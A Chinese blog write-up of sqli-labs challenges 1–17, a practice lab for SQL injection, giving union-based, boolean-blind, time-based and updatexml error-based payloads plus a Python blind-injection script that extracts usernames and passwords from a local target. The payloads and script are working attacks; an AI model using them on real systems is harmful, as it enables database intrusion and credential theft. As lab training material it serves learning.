首页 > 数据库 >sqli-labs-BasicLevel-总结

sqli-labs-BasicLevel-总结

时间:2023-08-17 17:58:18浏览次数:38  
标签:BasicLevel Less admin Submit labs sqli concat

title: sqli-labs basic challenges
date: 2023-08-04 16:34:03
categories: CTF-Web入门
description: 1~20总结

常用的MySql命令总结

查库: select schema_name from information_schema.schemata
查表: select table_name from information_schema.tables where table_schema='security'
查列: select column_name from information_schema.columns where table_name='users'
查字段:select username,password from security.users


  • system_user()

  • user()

  • current_user()

  • database()

​ 查看当前数据库

  • version()
  • @@datadir
  • @@version_compile_os

  • group_concat()

​ 用来将许多数据组成一行用来提取

  • concat_ws('~',A,B)

​ 用来将多个查询目标合成一行并且指定分隔符

Less-1~Less-4(手动注入)

测试能否注入(到底是什么包裹在下面有详细讨论)

http://127.0.0.13/sqli-labs-master/Less-1/?id=1'

查看当前数据表有多少列

http://127.0.0.13/sqli-labs-master/Less-1/?id=1' ORDER BY 3--+

查看哪些数据能回显

http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,3--+

查看当前在什么数据库中

http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,database()--+

查看所有数据库

http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata--+

查看security库中的所有表

http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=0x7365637572697479--+

(单引号引起来的参数去掉单引号,将内容转换成16进制编码,前面加上0x)

查看user表中所有的列名

http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name=0x7573657273--+

查看user表中所有的账号密码

http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,group_concat(concat_ws(0x7e,username,password)) FROM security.users--+


以上是Less-1的过程,Less-2~4注入过程基本相同,重点在于判断是什么包裹着sql语句,1到4分别是单引号包裹、无包裹、括号套单引号包裹、括号套双引号包裹。

做法基本相同重点在于确定包裹,常见包裹有单引号、双引号、(’ ‘)、(“ ”)、((“ ”))和不包裹

Less-5~Less-8(布尔盲注脚本版)

Less-5登录成功和失败各有一种显示,可以使用布尔盲注。

下面是布尔盲注的脚本(针对less5),每次修改url和payload即可,顺序也是Less1~4的思路(无回显不用试列了),此为最后一步,直接注出username和password。

import requests

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://127.0.0.13/sqli-labs-master/Less-5/"

# 猜解长度使用的payload
payload_len = """?id=1' AND length(
	                (SELECT group_concat(concat_ws(0x2e,username,password)) FROM security.users)
                ) = {n} -- a"""

# 枚举字符使用的payload
payload_str = """?id=1' AND ascii(
	                substr(
		                (SELECT group_concat(concat_ws(0x2e,username,password)) FROM security.users)
	                ,{n},1)
                ) = {r} -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url=url + payload_len.format(n=length))

        if 'You are in....' in response.text:
            print('测试长度完成,长度为:', length, )
            response.close()
            return length
        else:
            print('正在测试长度:', length)
            length += 1  # 测试长度递增
            response.close()

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length + 1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url=url + payload_str.format(n=l, r=n))
            # 页面中出现此内容则表示成功
            if 'You are in....' in response.text:
                str += chr(n)
                print('第', l, '个字符猜解成功:', str)
                response.close();
                break
            response.close()
    return str


# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

#脚本只能注入到第108个字符(存疑,有时更多),109开始到最后要自己修改起始值

Less-6包裹方式是双引号,改一下继续用脚本。

Less-7包裹方式是((’ ‘))

Less-8包裹方式是单引号。

Less-9~Less10(时间盲注)

布尔盲注和时间盲注的区别

布尔盲注用于成功和失败返回值不同的时候,可以根据成功还是失败确定插入的代码条件是否符合。

时间盲注用于成功和失败返回值相同的时候,这时候我们就要在布尔盲注的条件上加入sleep(),通过返回时间是否符合预期判断插入代码条件是否符合。

以9做栗子吧

测试注入点

http://127.0.0.13/sqli-labs-master/Less-9/?id=1' AND if(1=1,sleep(5),1)--+

确定是单引号

然后就是查当前库名,查所有库,查库下所有表,查表里所有列名,查账号密码,逻辑上和脚本相同,先尝试长度再慢慢尝试字符。

10的包裹方式是双引号。

Less-11~Less-20

从11开始就是post方式传值了,需要用hackbar来输入post数据

首先使用bp抓一下包看看post数据怎么传输的,可以确定传输方式如下

uname=***&passwd=***&Submit=Submit(我的bp抓包显示第一个submit首字母小写,但是我的环境下只有大写才能过)


11先尝试一下注入点

uname=admin' #&passwd=admin&Submit=Submit

单引号包裹,开始重复1的流程思路,我只演示一下查当前库

uname=adn' UNION SELECT 1,database() #&passwd=admin&Submit=Submit

12只是(“ ”),思路相同。


13登录成功后发现只有登录成功字样,没有回显,所以原来那种方法不可以使用了,开始布尔盲注

uname=admin')#&passwd=admin&Submit=Submit

确定是(' ')包裹

开始盲注

先测长度 uname=admin') AND length(database())=8#&passwd=admin&Submit=Submit

再逐位测字符uname=admin') AND left((database()),1)='s'#&passwd=admin&Submit=Submit

14只是双引号包裹,思路相同。

15是单引号包裹,思路相同。

16是(" ")包裹,思路相同。


17可以看到是更新密码

username字段做了过滤,从password字段注入

使用updatexml进行报错注入

注入点uname=admin&passwd=admin'#&Submit=Submit

查看当前库uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT database())),1)#&Submit=Submit

看表uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 3,1)),1)#&Submit=Submit

看列uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 5,1)),1)#&Submit=Submit

看内容uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select * from (select group_concat(concat_ws('~',username,password)) from security.users) a)),1)#&Submit=Submit

标签:BasicLevel,Less,admin,Submit,labs,sqli,concat
From: https://www.cnblogs.com/yoo2i/p/17638339.html

相关文章

  • Sqlite3的入门操作
    Sqlite3的下载Sqlite3整活有点东西,直接看图吧。操作系统:windows10如果你是第一次用sqlite3,直接会给你干自闭。一般情况下你只会下载序号2的zip文件,然后写代码的时候,会发现头文件呢?没错,你又要回来下载序号1的zip文件。找了一份example代码,编译的时候有报错,链接失败。你......
  • SQLite数据库实现数据增删改查
    当前文章介绍的设计的主要功能是利用SQLite数据库实现宠物投喂器上传数据的存储,并且支持数据的增删改查操作。其中,宠物投喂器上传的数据包括投喂间隔时间、水温、剩余重量等参数。实现功能:创建SQLite数据库表,用于存储宠物投喂器上传的数据。实现对数据库表中数据的插入操作,即将......
  • SQLite与Mysql的语句区别
     SQLite中,TEXT是一个通用的字符数据类型,能够存储任何长度的字符串,类似于MySQL的VARCHAR(255)。INTEGER是一个通用的整数数据类型。 此外,SQLite默认情况下是区分大小写的,而MySQL在utf8_general_ci下不区分大小写。如果需要在SQLite中进行不区分大小写的搜索,可以在LIKE操作符中使......
  • python操作SQLite数据库
    1、脚本#!/usr/local/python3.8/bin/python3#-*-coding:UTF-8-*-importsqlite3importredefdict_factory(cursor,row):#将游标获取的数据处理成字典返回#cursor.description:获取表头d={}foridx,colinenumerate(cursor.description):......
  • 【资料包】HDC.Together 2023精选Codelabs指南现已上线(内有活动)
     今年HDC.Together 2023的Codelabs挑战系列活动如期而至,众多开发者齐聚一堂,积极参与。本次赛题中部分Codelabs已在官网上线详细操作指南,让我们与众多coders一起探索代码的独特魅力。 01ArkTS基础知识(ArkTS)本课程使用声明式语法和组件化基础知识,搭建一个可刷新的排行榜页......
  • XSS--labs通关记录
    XSS--labs通关记录level1(无过滤)查看网页源代码<!DOCTYPEhtml><!--STATUSOK--><html><head><metahttp-equiv="content-type"content="text/html;charset=utf-8"><script>window.alert=function(){confirm(......
  • sqlite的安装和使用
    1.安装到[官网]:https://www.sqlite.org/download.html去下载对应系统版本,这里以win为例需要下载两个文件下载解压后放入同一个文件夹中将路径加入到系统变量Path中打开命令行,验证是否安装成功:输入sqlite3即成功2.使用SQLite是一个自包含的、零配置的SQL数据库引......
  • INFINI Labs 产品更新 | Easysearch 支持 SQL 查询、Console 告警功能支持邮件等多渠
    INFINILabs产品又更新啦~。本次更新概要如下:Easysearch新增SQL插件和JDBC驱动,支持SQL查询,支持SQL常用函数等;Console针对告警功能做了升级优化,新增了邮件渠道,支持自定义邮件服务器配置,以及支持飞书、钉钉、企业微信、Discord、Slack等多渠道Webhook发送告警通知,优化......
  • sqlite3 db "delete from apps where title='Typora';"&&killall Dock
    command+shift+G进入访达前往->输入/private/var/folders 搜索:com.apple.dock.launchpad  仔细看了下执行的命令就发现了sqlite3db这个东西,可以深入了解下  ......
  • 读取sqlite库的wkt类型数据(unbantu中安装spatialite插件)
    一,问题:现在要从sqlite读取wkt类型的数据,写入postgis库中wkt在sqlite中的格式为:  python直接读取的格式是:b'\x00\x01\xef\x7f\x00\x00\xf9\xff\xff\xf3\xc8\xfe*\x' pg库可以直接存的类型是wkt格式: LINESTRINGZ(40.612829447.729325-1.566514,43.813899......